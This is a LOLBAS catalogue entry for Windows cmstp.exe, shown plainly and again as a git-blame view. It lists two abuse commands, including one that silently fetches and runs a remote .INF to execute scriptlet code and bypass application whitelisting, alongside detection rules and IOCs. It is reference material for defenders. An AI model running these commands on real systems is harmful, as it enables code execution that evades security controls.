LOLBAS/yml/OSBinaries/Cmstp.yml

---
Name: Cmstp.exe
Description: Installs or removes a Connection Manager service profile.
Author: 'Oddvar Moe'
Created: 2018-05-25
Commands:
  - Command: cmstp.exe /ni /s c:\cmstp\CorpVPN.inf
    Description: Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
    Usecase: Execute code hidden within an inf file. Download and run scriptlets from internet.
    Category: Execute
    Privileges: User
    MitreID: T1218.003
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  - Command: cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf
    Description: Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
    Usecase: Execute code hidden within an inf file. Execute code directly from Internet.
    Category: AWL Bypass
    Privileges: User
    MitreID: T1218.003
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Full_Path:
  - Path: C:\Windows\System32\cmstp.exe
  - Path: C:\Windows\SysWOW64\cmstp.exe
Detection:
  - Sigma: https://github.com/SigmaHQ/sigma/blob/6d0d58dfe240f7ef46e7da928c0b65223a46c3b2/rules/windows/process_creation/sysmon_cmstp_execution_by_creation.yml
  - Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_uac_cmstp.yml
  - Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/cmlua_or_cmstplua_uac_bypass.yml
  - Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
  - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml
  - IOC: Execution of cmstp.exe without a VPN use case is suspicious
  - IOC: DotNet CLR libraries loaded into cmstp.exe
  - IOC: DotNet CLR Usage Log - cmstp.exe.log
Resources:
  - Link: https://twitter.com/NickTyrer/status/958450014111633408
  - Link: https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80
  - Link: https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e
  - Link: https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
  - Link: https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1
  - Link: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp
Acknowledgement:
  - Person: Oddvar Moe
    Handle: '@oddvarmoe'
  - Person: Nick Tyrer
    Handle: '@NickTyrer'
Initial commit - LOLBAS V2.0 2018-06-09 00:15:06 +02:00			`---`
			`Name: Cmstp.exe`
Update readme, began updating OSBins with new template 2018-09-24 01:50:14 +02:00			`Description: Installs or removes a Connection Manager service profile.`
			`Author: 'Oddvar Moe'`
Standardise date formats (see https://yaml.org/type/timestamp.html) 2021-01-10 16:04:52 +01:00			`Created: 2018-05-25`
Initial commit - LOLBAS V2.0 2018-06-09 00:15:06 +02:00			`Commands:`
			`- Command: cmstp.exe /ni /s c:\cmstp\CorpVPN.inf`
			`Description: Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.`
Standardise date formats (see https://yaml.org/type/timestamp.html) 2021-01-10 16:04:52 +01:00			`Usecase: Execute code hidden within an inf file. Download and run scriptlets from internet.`
Update readme, began updating OSBins with new template 2018-09-24 01:50:14 +02:00			`Category: Execute`
			`Privileges: User`
MITRE ATT&CK realignment sprint 2021-11-05 19:58:26 +01:00			`MitreID: T1218.003`
Updating entries that have been confirmed to be working on Windows 11 (21H2) 2021-12-14 16:50:17 +01:00			`OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11`
Initial commit - LOLBAS V2.0 2018-06-09 00:15:06 +02:00			`- Command: cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf`
			`Description: Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.`
Standardise date formats (see https://yaml.org/type/timestamp.html) 2021-01-10 16:04:52 +01:00			`Usecase: Execute code hidden within an inf file. Execute code directly from Internet.`
Correcting Cmstp.yml Category value, case. 2022-09-11 04:48:08 +02:00			`Category: AWL Bypass`
Update readme, began updating OSBins with new template 2018-09-24 01:50:14 +02:00			`Privileges: User`
MITRE ATT&CK realignment sprint 2021-11-05 19:58:26 +01:00			`MitreID: T1218.003`
Update readme, began updating OSBins with new template 2018-09-24 01:50:14 +02:00			`OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10`
Major changes to Web portal - Small fixes to source files to adjust 2018-12-10 14:28:12 +01:00			`Full_Path:`
Changed all OSBinaries according to the new template 2018-09-24 21:59:43 +02:00			`- Path: C:\Windows\System32\cmstp.exe`
			`- Path: C:\Windows\SysWOW64\cmstp.exe`
Update readme, began updating OSBins with new template 2018-09-24 01:50:14 +02:00			`Detection:`
Fixing errors found in yaml lint action. 2022-09-11 07:07:18 +02:00			`- Sigma: https://github.com/SigmaHQ/sigma/blob/6d0d58dfe240f7ef46e7da928c0b65223a46c3b2/rules/windows/process_creation/sysmon_cmstp_execution_by_creation.yml`
			`- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_uac_cmstp.yml`
			`- Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/cmlua_or_cmstplua_uac_bypass.yml`
			`- Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml`
			`- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml`
			`- IOC: Execution of cmstp.exe without a VPN use case is suspicious`
			`- IOC: DotNet CLR libraries loaded into cmstp.exe`
			`- IOC: DotNet CLR Usage Log - cmstp.exe.log`
Initial commit - LOLBAS V2.0 2018-06-09 00:15:06 +02:00			`Resources:`
Update readme, began updating OSBins with new template 2018-09-24 01:50:14 +02:00			`- Link: https://twitter.com/NickTyrer/status/958450014111633408`
			`- Link: https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80`
			`- Link: https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e`
			`- Link: https://oddvar.moe/2017/08/15/research-on-cmstp-exe/`
			`- Link: https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1`
			`- Link: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp`
			`Acknowledgement:`
			`- Person: Oddvar Moe`
			`Handle: '@oddvarmoe'`
			`- Person: Nick Tyrer`
			`Handle: '@NickTyrer'`